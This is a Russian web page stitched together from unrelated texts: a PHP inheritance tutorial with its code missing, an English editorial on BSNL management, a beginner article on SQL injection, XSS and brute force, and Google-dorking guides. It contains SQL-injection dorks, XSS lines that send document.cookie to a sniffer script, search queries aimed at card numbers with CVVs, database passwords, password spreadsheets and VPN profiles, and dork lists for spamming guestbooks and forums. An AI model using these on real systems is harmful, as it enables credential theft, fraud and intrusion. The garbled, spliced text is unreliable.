Используем малоизвестные функции Google, чтобы найти сокрытое. Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Распутный inurl contact php

Наследование - это механизм объектно ориентированного программирования, который позволяет описать новый класс на основе уже существующего (родительского).

Класс, который получается в результате наследования от другого, называется подклассом. Эту связь обычно описывают с помощью терминов «родительский» и «дочерний». Дочерний класс происходит от родительского и наследует его характеристики: свойства и методы. Обычно в подклассе к функциональности родительского класса (который также называют суперклассом) добавляются новые функциональные возможности.

Чтобы создать подкласс, необходимо использовать в объявлении класса ключевое слово extends , и после него указать имя класса, от которого выполняется наследование:

Подкласс наследует доступ ко всем методам и свойствам родительского класса, так как они имеют тип public . Это означает, что для экземпляров класса my_Cat мы можем вызывать метод add_age() и обращаться к свойству $age не смотря на то, что они определены в классе cat . Также в приведенном примере подкласс не имеет своего конструктора. Если в подклассе не объявлен свой конструктор, то при создании экземпляров подкласса будет автоматически вызываться конструктор суперкласса.

Обратите внимание на то, что в подклассах могут переопределяться свойства и методы. Определяя подкласс, мы гарантируем, что его экземпляр определяется характеристиками сначала дочернего, а затем родительского класса. Чтобы лучше это понять рассмотрим пример:

При вызове $kitty->foo() интерпретатор PHP не может найти такой метод в классе my_Cat , поэтому используется реализация этого метода заданная в классе Cat . Однако в подклассе определено собственное свойство $age , поэтому при обращении к нему в методе $kitty->foo() , интерпретатор PHP находит это свойство в классе my_Cat и использует его.

Так как мы уже рассмотрели тему про указание типа аргументов, осталось сказать о том, что если в качестве типа указан родительский класс, то все потомки для метода будут так же доступны для использования, посмотрите на следующий пример:

Мы можем обращаться с экземпляром класса my_Cat так, как будто это объект типа Cat , т.е. мы можем передать объект типа my_Cat методу foo() класса Cat , и все будет работать, как надо.

Оператор parent

На практике подклассам бывает необходимо расширить функциональность методов родительского класса. Расширяя функциональность за счет переопределения методов суперкласса, в подклассах вы сохраняете возможность сначала выполнить программный код родительского класса, а затем добавить код, который реализует дополнительную функциональность. Давайте разберем как это можно сделать.

Чтобы вызвать нужный метод из родительского класса, вам понадобится обратиться к самому этому классу через дескриптор. Для этой цели в PHP предусмотрено ключевое слово parent . Оператор parent позволяет подклассам обращаться к методам (и конструкторам) родительского класса и дополнять их существующую функциональность. Чтобы обратиться к методу в контексте класса, используются символы " :: " (два двоеточия). Синтаксис оператора parent:

Parent::метод_родительского_класа

Эта конструкция вызовет метод, определенный в суперклассе. Вслед за таким вызовом можно поместить свой программный код, который добавит новую функциональность:

Когда в дочернем классе определяется свой конструктор, PHP не вызывает конструктор родительского класса автоматически. Это необходимо сделать вручную в конструкторе подкласса. Подкласс сначала в своем конструкторе вызывает конструктор своего родительского класса, передавая нужные аргументы для инициализации, исполняет его, а затем выполняется код, который реализует дополнительную функциональность, в данном случае инициализирует свойство подкласса.

Ключевое слово parent можно использовать не только в конструкторах, но и в любом другом методе, функциональность которого вы хотите расширить, достигнуть этого можно, вызвав метод родительского класса:

Здесь сначала вызывается метод getstr() из суперкласса, значение которого присваивается переменной, а после этого выполняется остальной код определенный в методе подкласса.

Теперь, когда мы познакомились с основами наследования, можно, наконец, рассмотреть вопрос видимости свойств и методов.

public, protected и private: управление доступом

До этого момента мы явно объявляли все свойства как public (общедоступные). И такой тип доступа задан по умолчанию для всех методов.

Элементы класса можно объявлять как public (общедоступные), protected (защищенные) и private (закрытые). Рассмотрим разницу между ними:

  • К public (общедоступным) свойствам и методам, можно получить доступ из любого контекста.
  • К protected (защищенным) свойствам и методам можно получить доступ либо из содержащего их класса, либо из его подкласса. Никакому внешнему коду доступ к ним не предоставляется.
  • Вы можете сделать данные класса недоступными для вызывающей программы с помощью ключевого слова private (закрытые). К таким свойствам и методам можно получить доступ только из того класса, в котором они объявлены. Даже подклассы данного класса не имеют доступа к таким данным.
public - открытый доступ: private - доступ только из методов класса: protected - защищенный доступ:

Модификатор protected с точки зрения вызывающей программы выглядит точно так же, как и private: он запрещает доступ к данным объекта извне. Однако в отличие от private он позволяет обращаться к данным не только из методов своего класса, но также и из методов подкласса.

Editorial:

The top management which given a new direction to BSNL is leaving. BSNL will ever remember their contributions.

BSNL will be in the hands of a new team with many challenges: immediate capital infusion, restructuring of the organization and to make real, honest, unrelenting and serious efforts to ensure massive revenue generation. We wish them good luck.

The team of Shri Anupm Shrivastava, present CMD and the Ex Board of Directors Shri N. K. Gupta, Shri R K Mittal, Shri N K Mehta and Smt Sujata T Ray were instrumental in bringing BSNL back into revival path. They were very successful in that, till the entry of Reliance Jio by making BSNL operational profit for 3 consecutive years 2014-15, 2015-16 and 2016-17. Even after that, even with a hostile DoT which is not willing to provide any assistance to BSNL, BSNL could sustain till today to a great extend. Comparing to other operators, BSNL market share and revenue, continues to be better.

It may be recollected that they were taken charge almost in a similar situation as on today, losses increased every year, cash flow issue, all the tenders were failing, all the expansion plans in mobile, transmission etc failing and EB business shrinking due to non expansion of MPLS / MLLN network.

The following decision taken by that team of Directors really changed BSNL:

a) Massive expansion in the mobile network, MPLS network, transmission network, deployment of NGN etc.

b) Getting refund of about 15,000 crores from DoT to BSNL in the form of excess payment of Income Tax and BWA spectrum refund between 2015-2018.

c) Competitive Tariffs and market intervention to compete with other operators.

d) Night free calls.

e) Free roaming.

f) Revaluation of the assets and making BSNL, a company having more than 1 lakh Crores asset.

g) Visibility in the electronic/ print media and the market.

h) The experiment of providing 4G services with 3G spectrum.

However the major initiatives taken in the HR front, E2/E3 pay scales, CPSU Cadre Hierarchy implementation and 3rd PRC etc, did not succeed at all. Only on Superannuation benefits, management could succeed by extending 5% contribution. BSNL Executives will never forget the record number of promotion orders, more than 13,000, issued in June, 2018 even by upgradation of thousand of posts. Management miserably failed in bringing HR reforms and restructuring of the organization which played a very important role in making BSNL an incipient sick company. Somehow the management could not understand the huge significance and role of the huge work force in the organization.

For the new team of top management the challenges are many. First of all to make DoT sensitive towards BSNL. With the new Telecom Minister, it may become easier. Infusion of working capital for BSNL is the major challenge. The immediate requirement as on today is Rs 6000 Cr to meet the expenditure on OPEX and CAPEX. BSNL cannot wait for the implementation of the revival plan as it may take minimum 6 months to generate revenue for BSNL.

Secondly the massive HR reforms required in BSNL. This is an organization having huge work force and its role and importance in the revival of BSNL should be recognised first. The redeployment of the employees, according to the business requirements cannot be delayed further. The mistakes of earlier management should not be repeated by the new team of management.

Finally to get the best out of the employees, they have to be highly motivated. Their contribution towards revival of BSNL is to be recognised first. Employees commitment, dedication and readiness to take the challenges in the field units by coming out of the office rooms, voluntarily working few extra hours, every day, mean business.

The top Management should not delay the initiatives in this regard. We wish them all the success.

Я решил немного рассказать об информационной безопасности. Статья будет полезна начинающим программистам и тем, кто только-только начал заниматься Frontend-разработкой. В чём проблема?

Многие начинающие разработчики так увлекаются написанием кода, что совсем забывают о безопасности своих работ. И что самое главное - забывают о таких уязвимостях, как запрос SQL, XXS. А ещё придумывают лёгкие пароли для своих административных панелей и подвергаются брутфорсу. Что это за атаки и как можно их избежать?

SQL-инъекция

SQL-инъекция – это самый распространённый вид атаки на базу данных, который осуществляется при SQL-запросе для конкретной СУБД. От таких атак страдает множество людей и даже крупных компаний. Причина - ошибка разработчика при написании базы данных и, собственно говоря, SQL-запросов.

Атака типа внедрения SQL возможна из-за некорректной обработки входных данных, используемых в SQL-запросах. При удачном прохождении атаки со стороны хакера вы рискуете потерять не только содержимое баз данных, но и соответственно пароли и логи административной панели. А этих данных будет вполне достаточно, чтобы полностью завладеть сайтом или внести в него необратимые коррективы.

Атака может быть удачно воспроизведена в сценариях, написанных на PHP, ASP, Perl и других языках. Успешность таких атак больше зависит от того, какая используется СУБД и как реализован сам сценарий. В мире очень много уязвимых сайтов для SQL-инъекций. В этом легко убедиться. Достаточно ввести «дорки» - это специальные запросы по поиску уязвимых сайтов. Вот некоторые из них:

  • inurl:index.php?id=
  • inurl:trainers.php?id=
  • inurl:buy.php?category=
  • inurl:article.php?ID=
  • inurl:play_old.php?id=
  • inurl:declaration_more.php?decl_id=
  • inurl:pageid=
  • inurl:games.php?id=
  • inurl:page.php?file=
  • inurl:newsDetail.php?id=
  • inurl:gallery.php?id=
  • inurl:article.php?id=

Как ими пользоваться? Достаточно ввести их в поисковик Google или Яндекс. Поисковик выдаст вам не просто уязвимый сайт, но и страницу на эту уязвимость. Но мы не будем на этом останавливаться и убедимся, что страница действительно уязвима. Для это достаточно после значения «id=1» поставить одинарную кавычку «‘». Как-то так:

  • inurl:games.php?id=1’

И сайт нам выдаст ошибку о запросе SQL. Что же нужно дальше нашему хакеру?

А дальше ему нужна это самая ссылка на страницу с ошибкой. Затем работа над уязвимостью в большинстве случаев происходит в дистрибутиве "Kali linux" с его утилитами по этой части: внедрение инъекционного кода и выполнение необходимых операций. Как это будет происходить, я вам не могу сказать. Но об этом можно найти информацию в интернете.

XSS Атака

Данный вид атаки осуществляется на файлы Cookies. Их в свою очередь очень любят сохранять пользователи. А почему нет? Как же без них? Ведь благодаря Cookies мы не вбиваем сто раз пароль от Vk.com или Mail.ru. И мало тех, кто от них отказывается. Но в интернете для хакеров часто фигурирует правило: коэффициент удобства прямо пропорционален коэффициенту небезопасности.

Для реализации XSS-атаки нашему хакеру нужно знание JavaScript. Язык на первый взгляд очень прост и безобиден, потому что не имеет доступа к ресурсам компьютера. Работать с JavaScript хакер может только в браузере, но и этого достаточно. Ведь главное ввести код в веб-страницу.

Подробно говорить о процессе атаки я не стану. Расскажу лишь основы и смысл того, как это происходит.

Хакер может добавить на какой-нибудь форум или гостевую книгу JS-код:

document.location.href =”http://192.168.1.7/sniff.php?test”

Скрипты переадресуют нас на заражённую страницу, где будет выполнятся код: будь то сниффер, какое-либо хранилище или эксплоид, который так или иначе похитит наши Cookies с кэша.

Почему именно JavaScript? Потому что JavaScript отлично ладит с веб-запросами и имеет доступ к Cookies. Но если наш скрипт будет переводить нас на какой-нибудь сайт, то пользователь это легко заметит. Здесь же хакер применяет более хитрый вариант - просто вписывает код в картинку.

Img=new Image();

Img.src=” http://192.168.1.7/sniff.php?”+document.cookie;

Мы просто создаём изображение и приписываем ему в качестве адреса наш сценарий.

Как уберечься от всего этого? Очень просто - не переходите по подозрительным ссылкам.

DoS и DDos Атаки

DoS (от англ. Denial of Service - отказ в обслуживании) - хакерская атака на вычислительную систему с целью привести её к отказу. Это создание таких условий, при которых добросовестные пользователи системы не могут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ затруднён. Отказ системы может быть и шагом к её захвату, если во внештатной ситуации ПО выдаёт какую-либо критическую информацию: например, версию, часть программного кода и пр. Но чаще всего это мера экономического давления: потеря простой службы, приносящей доход. Счета от провайдера или меры по уходу от атаки ощутимо бьют «цель» по карману.В настоящее время DoS и DDoS-атаки наиболее популярны, так как позволяют довести до отказа практически любую систему, не оставляя юридически значимых улик.

Чем отличается DoS от DDos атаки?

DoS это атака построенная умным способом. Например, если сервер не проверяет корректность входящих пакетов, то хакер может сделать такой запрос, который будет обрабатываться вечно, а на работу с другими соединениями не хватит процессорного времени. Соответственно клиенты получат отказ в обслуживании. Но перегрузить или вывести из строя таким способом крупные известные сайты не получится. У них на вооружении стоят достаточно широкие каналы и сверхмощные серверы, которые без проблем справляются с подобной перегрузкой.

DDoS - это фактически такая же атака, как и DoS. Но если в DoS один пакет запроса, то в DDoS их очень может быть от сотни и более. Даже сверхмощные сервера могут не справиться с такой перегрузкой. Приведу пример.

DoS атака - это когда ты ведёшь разговор с кем-то, но тут подходит какой-то невоспитанный человек и начинает громко кричать. Разговаривать при этом либо невозможно, либо очень сложно. Решение: вызвать охрану, которая успокоит и выведет человека из помещения. DDoS-атаки - это когда таких невоспитанных людей вбегает многотысячная толпа. В таком случае охрана не сумеет всех скрутить и увести.

DoS и DDoS производятся с компьютеров, так называемых зомби. Это взломанные хакерами компьютеры пользователей, которые даже не подозревают, что их машина участвует в атаке какого-либо сервера.

Как уберечь себя от этого? В общем-то никак. Но можно усложнить задачу хакеру. Для этого необходимо выбрать хороший хостинг с мощными серверами.

Bruteforce атака

Разработчик может придумать очень много систем защиты от атак, полностью просмотреть написанные нами скрипты, проверить сайт на уязвимость и т.д. Но когда дойдёт до последнего шага вёрстки сайта, а именно когда будет просто ставить пароль на админку, он может забыть об одной вещи. Пароль!

Категорически не рекомендуется ставить простой пароль. Это могут быть 12345, 1114457, vasya111 и т. д. Не рекомендуется ставить пароли длиной меньше 10-11 символов. Иначе вы можете подвергнуться самой обычной и не сложной атаки - Брутфорсу.

Брутфорс - это атака перебора пароля по словарю с использованием специальных программ. Словари могут быть разные: латиница, перебор по цифрам скажем до какого-либо диапазона, смешанные (латиница +цифры), и даже бывают словари с уникальными символами @#4$%&*~~`’”\ ? и пр.

Конечно такого вида атаки легко избежать.Достаточно придумать сложный пароль. Вас может спасти даже капча. А ещё, если ваш сайт сделан на CMS, то многие из них вычисляют подобный вид атаки и блокируют ip. Надо всегда помнить, чем больше разных символов в пароле, тем тяжелее его подобрать.

Как же работают «Хакеры»? В большинстве случаев они либо подозревают, либо заранее знают часть пароля. Совсем логично предположить, что пароль пользователя уж точно не будет состоять из 3 или 5 символов. Такие пароли приводят к частым взломам. В основном хакеры берут диапазон от 5 до 10 символов и прибавляют туда несколько символов, которые возможно знают заранее. Далее генерируют пароли с нужными диапазонами. В дистрибутиве Kali linux имеются даже программы для таких случаев. И вуаля, атака уже не будет длиться долго, так как объём словаря уже не такой и большой. К тому же хакер может задействовать мощность видеокарты. Некоторые из них поддерживают систему CUDA, при этом скорость перебора увеличивается аж в 10 раз. И вот мы видим, что атака таким простым способом вполне реальна. А ведь брутфорсу подвергаются не только сайты.

Дорогие разработчики, никогда не забывайте про систему информационной безопасности, ведь сегодня от подобных видов атак страдает немало людей, в том числе и государств. Ведь самой большой уязвимостью является человек, который всегда может где-то отвлечься или где-то не доглядеть. Мы программисты, но не запрограммированные машины. Будьте всегда начеку, ведь утеря информации грозит серьёзными последствиями!

Получение частных данных не всегда означает взлом - иногда они опубликованы в общем доступе. Знание настроек Google и немного смекалки позволят найти массу интересного - от номеров кредиток до документов ФБР.

WARNING Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

К интернету сегодня подключают всё подряд, мало заботясь об ограничении доступа. Поэтому многие приватные данные становятся добычей поисковиков. Роботы-«пауки» уже не ограничиваются веб-страницами, а индексируют весь доступный в Сети контент и постоянно добавляют в свои базы не предназначенную для разглашения информацию. Узнать эти секреты просто - нужно лишь знать, как именно спросить о них.

Ищем файлы

В умелых руках Google быстро найдет все, что плохо лежит в Сети, - например, личную информацию и файлы для служебного использования. Их частенько прячут, как ключ под половиком: настоящих ограничений доступа нет, данные просто лежат на задворках сайта, куда не ведут ссылки. Стандартный веб-интерфейс Google предоставляет лишь базовые настройки расширенного поиска, но даже их будет достаточно.

Ограничить поиск по файлам определенного вида в Google можно с помощью двух операторов: filetype и ext . Первый задает формат, который поисковик определил по заголовку файла, второй - расширение файла, независимо от его внутреннего содержимого. При поиске в обоих случаях нужно указывать лишь расширение. Изначально оператор ext было удобно использовать в тех случаях, когда специфические признаки формата у файла отсутствовали (например, для поиска конфигурационных файлов ini и cfg, внутри которых может быть все что угодно). Сейчас алгоритмы Google изменились, и видимой разницы между операторами нет - результаты в большинстве случаев выходят одинаковые.


Фильтруем выдачу

По умолчанию слова и вообще любые введенные символы Google ищет по всем файлам на проиндексированных страницах. Ограничить область поиска можно по домену верхнего уровня, конкретному сайту или по месту расположения искомой последовательности в самих файлах. Для первых двух вариантов используется оператор site, после которого вводится имя домена или выбранного сайта. В третьем случае целый набор операторов позволяет искать информацию в служебных полях и метаданных. Например, allinurl отыщет заданное в теле самих ссылок, allinanchor - в тексте, снабженном тегом , allintitle - в заголовках страниц, allintext - в теле страниц.

Для каждого оператора есть облегченная версия с более коротким названием (без приставки all). Разница в том, что allinurl отыщет ссылки со всеми словами, а inurl - только с первым из них. Второе и последующие слова из запроса могут встречаться на веб-страницах где угодно. Оператор inurl тоже имеет отличия от другого схожего по смыслу - site . Первый также позволяет находить любую последовательность символов в ссылке на искомый документ (например, /cgi-bin/), что широко используется для поиска компонентов с известными уязвимостями.

Попробуем на практике. Берем фильтр allintext и делаем так, чтобы запрос выдал список номеров и проверочных кодов кредиток, срок действия которых истечет только через два года (или когда их владельцам надоест кормить всех подряд).

Allintext: card number expiration date /2017 cvv

Когда читаешь в новостях, что юный хакер «взломал серверы» Пентагона или NASA, украв секретные сведения, то в большинстве случаев речь идет именно о такой элементарной технике использования Google. Предположим, нас интересует список сотрудников NASA и их контактные данные. Наверняка такой перечень есть в электронном виде. Для удобства или по недосмотру он может лежать и на самом сайте организации. Логично, что в этом случае на него не будет ссылок, поскольку предназначен он для внутреннего использования. Какие слова могут быть в таком файле? Как минимум - поле «адрес». Проверить все эти предположения проще простого.


Inurl:nasa.gov filetype:xlsx "address"


Пользуемся бюрократией

Подобные находки - приятная мелочь. По-настоящему же солидный улов обеспечивает более детальное знание операторов Google для веб-мастеров, самой Сети и особенностей структуры искомого. Зная детали, можно легко отфильтровать выдачу и уточнить свойства нужных файлов, чтобы в остатке получить действительно ценные данные. Забавно, что здесь на помощь приходит бюрократия. Она плодит типовые формулировки, по которым удобно искать случайно просочившиеся в Сеть секретные сведения.

Например, обязательный в канцелярии министерства обороны США штамп Distribution statement означает стандартизированные ограничения на распространение документа. Литерой A отмечаются публичные релизы, в которых нет ничего секретного; B - предназначенные только для внутреннего использования, C - строго конфиденциальные и так далее до F. Отдельно стоит литера X, которой отмечены особо ценные сведения, представляющие государственную тайну высшего уровня. Пускай такие документы ищут те, кому это положено делать по долгу службы, а мы ограничимся файлами с литерой С. Согласно директиве DoDI 5230.24, такая маркировка присваивается документам, содержащим описание критически важных технологий, попадающих под экспортный контроль. Обнаружить столь тщательно охраняемые сведения можно на сайтах в домене верхнего уровня.mil, выделенного для армии США.

"DISTRIBUTION STATEMENT C" inurl:navy.mil

Очень удобно, что в домене.mil собраны только сайты из ведомства МО США и его контрактных организаций. Поисковая выдача с ограничением по домену получается исключительно чистой, а заголовки - говорящими сами за себя. Искать подобным образом российские секреты практически бесполезно: в доменах.ru и.рф царит хаос, да и названия многих систем вооружения звучат как ботанические (ПП «Кипарис», САУ «Акация») или вовсе сказочные (ТОС «Буратино»).


Внимательно изучив любой документ с сайта в домене.mil, можно увидеть и другие маркеры для уточнения поиска. Например, отсылку к экспортным ограничениям «Sec 2751», по которой также удобно искать интересную техническую информацию. Время от времени ее изымают с официальных сайтов, где она однажды засветилась, поэтому, если в поисковой выдаче не удается перейти по интересной ссылке, воспользуйся кешем Гугла (оператор cache) или сайтом Internet Archive.

Забираемся в облака

Помимо случайно рассекреченных документов правительственных ведомств, в кеше Гугла временами всплывают ссылки на личные файлы из Dropbox и других сервисов хранения данных, которые создают «приватные» ссылки на публично опубликованные данные. С альтернативными и самодельными сервисами еще хуже. Например, следующий запрос находит данные всех клиентов Verizon, у которых на роутере установлен и активно используется FTP-сервер.

Allinurl:ftp:// verizon.net

Таких умников сейчас нашлось больше сорока тысяч, а весной 2015-го их было на порядок больше. Вместо Verizon.net можно подставить имя любого известного провайдера, и чем он будет известнее, тем крупнее может быть улов. Через встроенный FTP-сервер видно файлы на подключенном к маршрутизатору внешнем накопителе. Обычно это NAS для удаленной работы, персональное облако или какая-нибудь пиринговая качалка файлов. Все содержимое таких носителей оказывается проиндексировано Google и другими поисковиками, поэтому получить доступ к хранящимся на внешних дисках файлам можно по прямой ссылке.

Подсматриваем конфиги

До повальной миграции в облака в качестве удаленных хранилищ рулили простые FTP-серверы, в которых тоже хватало уязвимостей. Многие из них актуальны до сих пор. Например, у популярной программы WS_FTP Professional данные о конфигурации, пользовательских аккаунтах и паролях хранятся в файле ws_ftp.ini . Его просто найти и прочитать, поскольку все записи сохраняются в текстовом формате, а пароли шифруются алгоритмом Triple DES после минимальной обфускации. В большинстве версий достаточно просто отбросить первый байт.

Расшифровать такие пароли легко с помощью утилиты WS_FTP Password Decryptor или бесплатного веб-сервиса .

Говоря о взломе произвольного сайта, обычно подразумевают получение пароля из логов и бэкапов конфигурационных файлов CMS или приложений для электронной коммерции. Если знаешь их типовую структуру, то легко сможешь указать ключевые слова. Строки, подобные встречающимся в ws_ftp.ini , крайне распространены. Например, в Drupal и PrestaShop обязательно есть идентификатор пользователя (UID) и соответствующий ему пароль (pwd), а хранится вся информация в файлах с расширением.inc. Искать их можно следующим образом:

"pwd=" "UID=" ext:inc

Раскрываем пароли от СУБД

В конфигурационных файлах SQL-серверов имена и адреса электронной почты пользователей хранятся в открытом виде, а вместо паролей записаны их хеши MD5. Расшифровать их, строго говоря, невозможно, однако можно найти соответствие среди известных пар хеш - пароль.

До сих пор встречаются СУБД, в которых не используется даже хеширование паролей. Конфигурационные файлы любой из них можно просто посмотреть в браузере.

Intext:DB_PASSWORD filetype:env

С появлением на серверах Windows место конфигурационных файлов отчасти занял реестр. Искать по его веткам можно точно таким же образом, используя reg в качестве типа файла. Например, вот так:

Filetype:reg HKEY_CURRENT_USER "Password"=

Не забываем про очевидное

Иногда добраться до закрытой информации удается с помощью случайно открытых и попавших в поле зрения Google данных. Идеальный вариант - найти список паролей в каком-нибудь распространенном формате. Хранить сведения аккаунтов в текстовом файле, документе Word или электронной таблице Excel могут только отчаянные люди, но как раз их всегда хватает.

Filetype:xls inurl:password

С одной стороны, есть масса средств для предотвращения подобных инцидентов. Необходимо указывать адекватные права доступа в htaccess, патчить CMS, не использовать левые скрипты и закрывать прочие дыры. Существует также файл со списком исключений robots.txt, запрещающий поисковикам индексировать указанные в нем файлы и каталоги. С другой стороны, если структура robots.txt на каком-то сервере отличается от стандартной, то сразу становится видно, что на нем пытаются скрыть.

Список каталогов и файлов на любом сайте предваряется стандартной надписью index of. Поскольку для служебных целей она должна встречаться в заголовке, то имеет смысл ограничить ее поиск оператором intitle . Интересные вещи находятся в каталогах /admin/, /personal/, /etc/ и даже /secret/.

Следим за обновлениями

Актуальность тут крайне важна: старые уязвимости закрывают очень медленно, но Google и его поисковая выдача меняются постоянно. Есть разница даже между фильтром «за последнюю секунду» (&tbs=qdr:s в конце урла запроса) и «в реальном времени» (&tbs=qdr:1).

Временной интервал даты последнего обновления файла у Google тоже указывается неявно. Через графический веб-интерфейс можно выбрать один из типовых периодов (час, день, неделя и так далее) либо задать диапазон дат, но такой способ не годится для автоматизации.

По виду адресной строки можно догадаться только о способе ограничить вывод результатов с помощью конструкции &tbs=qdr: . Буква y после нее задает лимит в один год (&tbs=qdr:y), m показывает результаты за последний месяц, w - за неделю, d - за прошедший день, h - за последний час, n - за минуту, а s - за секунду. Самые свежие результаты, только что ставшие известными Google, находится при помощи фильтра &tbs=qdr:1 .

Если требуется написать хитрый скрипт, то будет полезно знать, что диапазон дат задается в Google в юлианском формате через оператор daterange . Например, вот так можно найти список документов PDF со словом confidential, загруженных c 1 января по 1 июля 2015 года.

Confidential filetype:pdf daterange:2457024-2457205

Диапазон указывается в формате юлианских дат без учета дробной части. Переводить их вручную с григорианского календаря неудобно. Проще воспользоваться конвертером дат .

Таргетируемся и снова фильтруем

Помимо указания дополнительных операторов в поисковом запросе их можно отправлять прямо в теле ссылки. Например, уточнению filetype:pdf соответствует конструкция as_filetype=pdf . Таким образом удобно задавать любые уточнения. Допустим, выдача результатов только из Республики Гондурас задается добавлением в поисковый URL конструкции cr=countryHN , а только из города Бобруйск - gcs=Bobruisk . В разделе для разработчиков можно найти полный список .

Средства автоматизации Google призваны облегчить жизнь, но часто добавляют проблем. Например, по IP пользователя через WHOIS определяется его город. На основании этой информации в Google не только балансируется нагрузка между серверами, но и меняются результаты поисковой выдачи. В зависимости от региона при одном и том же запросе на первую страницу попадут разные результаты, а часть из них может вовсе оказаться скрытой. Почувствовать себя космополитом и искать информацию из любой страны поможет ее двухбуквенный код после директивы gl=country . Например, код Нидерландов - NL, а Ватикану и Северной Корее в Google свой код не положен.

Часто поисковая выдача оказывается замусоренной даже после использования нескольких продвинутых фильтров. В таком случае легко уточнить запрос, добавив к нему несколько слов-исключений (перед каждым из них ставится знак минус). Например, со словом Personal часто употребляются banking , names и tutorial . Поэтому более чистые поисковые результаты покажет не хрестоматийный пример запроса, а уточненный:

Intitle:"Index of /Personal/" -names -tutorial -banking

Пример напоследок

Искушенный хакер отличается тем, что обеспечивает себя всем необходимым самостоятельно. Например, VPN - штука удобная, но либо дорогая, либо временная и с ограничениями. Оформлять подписку для себя одного слишком накладно. Хорошо, что есть групповые подписки, а с помощью Google легко стать частью какой-нибудь группы. Для этого достаточно найти файл конфигурации Cisco VPN, у которого довольно нестандартное расширение PCF и узнаваемый путь: Program Files\Cisco Systems\VPN Client\Profiles . Один запрос, и ты вливаешься, к примеру, в дружный коллектив Боннского университета.

Filetype:pcf vpn OR Group

INFO Google находит конфигурационные файлы с паролями, но многие из них записаны в зашифрованном виде или заменены хешами. Если видишь строки фиксированной длины, то сразу ищи сервис расшифровки.

Пароли хранятся в зашифрованном виде, но Морис Массар уже написал программу для их расшифровки и предоставляет ее бесплатно через thecampusgeeks.com .

При помощи Google выполняются сотни разных типов атак и тестов на проникновение. Есть множество вариантов, затрагивающих популярные программы, основные форматы баз данных, многочисленные уязвимости PHP, облаков и так далее. Если точно представлять то, что ищешь, это сильно упростит получение нужной информации (особенно той, которую не планировали делать всеобщим достоянием). Не Shodan единый питает интересными идеями, но всякая база проиндексированных сетевых ресурсов!

Как правильно искать с помощью google.com

Все наверное умеют пользоваться такой поисковой системой, как гугл =) Но не все знают, что если грамотно составить поисковой запрос с помощью специальных конструкций, то можно достичь результатов того, что Вы ищете намного эффективнее и быстрее =) В этой статье я постараюсь показать что и как Вам нужно делать, чтобы искать правильно

Гугл поддерживает несколько расширенных операторов поиска, имеющими специальное значение при поиске на google.com. Типично, эти операторы изменяют поиск, или даже говорят гуглу делать полностью различные типы поиска. Например, конструкция link: является специальным оператором, и запрос link:www.google.com не даст вам нормального поиска, но вместо этого найдет все web-страницы, которые имеют связи к google.com.
альтернативные типы запросов

cache: Если Вы будете включать другие слова в запрос, то Гугл подсветит эти включенные слова в пределах кэшируемого документа.
Например, cache:www.сайт web покажет кэшируемое содержимое с подсвеченным словом "web".

link: рассматриваемый выше поисковой запрос покажет веб-страницы, на которых содержатся ссылки к указанному запросу.
Например: link:www.сайт отобразит все страницы на которых есть ссылка на http://www.сайт

related: Отобразит web-страницы, которые являются "подобными" (related) указанной web-странице.
Например, related: www.google.com перечислит web-страницы, которые являются подобными домашней странице Гугл.

info: Информация запроса: представит немного информации, которую Гугл имеет о запрашиваемой web-странице.
Например, info:сайт покажет информацию о нашем форуме =) (Армада - Форум адалт вебмастеров).

Другие информационные запросы

define: Запрос define: обеспечит определение слов, которые Вы вводите после того, как это, собранный из различных сетевых источников. Определение будет для всей введенной фразы (то есть, это будет включать все слова в точный запрос).

stocks: Если Вы начинаете запрос с stocks: Гугл обработает остальную часть сроков запроса как символы биржевых сводок, и свяжется со страницей, показывающую готовую информацию для этих символов.
Например, stocks: Intel yahoo покажет информацию о Intel и Yahoo. (Отметьте, что Вы должны напечатать символы последних новостей, не название компании)

Модификаторы Запросов

site: Если Вы включаете site: в ваш запрос, Гугл ограничит результаты теми вебсайтами, которые найдет в данном домене.
Также можно искать и по отдельным зонам, как таковое ru, org, com, etc ( site:com site:ru )

allintitle: Если Вы запускаете запрос с allintitle:, Гугл ограничит результаты со всеми словами запроса в заголовке.
Например, allintitle: google search вернет все страницы гугла по поиску как то images, Blog, etc

intitle: Если Вы включаете intitle: в вашем запросе, Гугл ограничит результаты документами, содержащими то слово в заголовке.
Например, intitle:Бизнес

allinurl: Если Вы запускаете запрос с allinurl: Гугл ограничит результаты, со всеми словами запроса в URL.
Например, allinurl: google search вернет документы с google и search в заголовке. Также как вариант можно разделять слова слэшем (/) тогда слова по обе стороны слэша будут искаться в пределах одной страницы: Пример allinurl: foo/bar

inurl: Если Вы включаете inurl: в вашем запросе, Гугл ограничит результаты документами, содержащими то слово в URL.
Например, Animation inurl:сайт

intext: ищет только в тексте страницы указанное слово, игнорируя заглавие и тексты ссылок, и прочее не относящееся к. Есть также и производная этого модификатора - allintext: т.е. далее все слова в запросе будут искаться только в тексте, что тоже бывает важно, игнорируя часто используемые слова в ссылках
Например, intext:форум

daterange: ищет во временных рамках (daterange:2452389-2452389), даты для времени указываются в Юлианском формате.

Ну и еще всякие интересные примеры запросов

Примеры составления запросов для Google. Для спамеров

Inurl:control.guest?a=sign

Site:books.dreambook.com “Homepage URL” “Sign my” inurl:sign

Site:www.freegb.net Homepage

Inurl:sign.asp “Character Count”

“Message:” inurl:sign.cfm “Sender:”

Inurl:register.php “User Registration” “Website”

Inurl:edu/guestbook “Sign the Guestbook”

Inurl:post “Post Comment” “URL”

Inurl:/archives/ “Comments:” “Remember info?”

“Script and Guestbook Created by:” “URL:” “Comments:”

Inurl:?action=add “phpBook” “URL”

Intitle:”Submit New Story”

Журналы

Inurl:www.livejournal.com/users/ mode=reply

Inurl greatestjournal.com/ mode=reply

Inurl:fastbb.ru/re.pl?

Inurl:fastbb.ru /re.pl? “Гостевая книга”

Блоги

Inurl:blogger.com/comment.g?”postID”"anonymous”

Inurl:typepad.com/ “Post a comment” “Remember personal info?”

Inurl:greatestjournal.com/community/ “Post comment” “addresses of anonymous posters”

“Post comment” “addresses of anonymous posters” -

Intitle:”Post comment”

Inurl:pirillo.com “Post comment”

Форумы

Inurl:gate.html?”name=Forums” “mode=reply”

Inurl:”forum/posting.php?mode=reply”

Inurl:”mes.php?”

Inurl:”members.html”

Inurl:forum/memberlist.php?”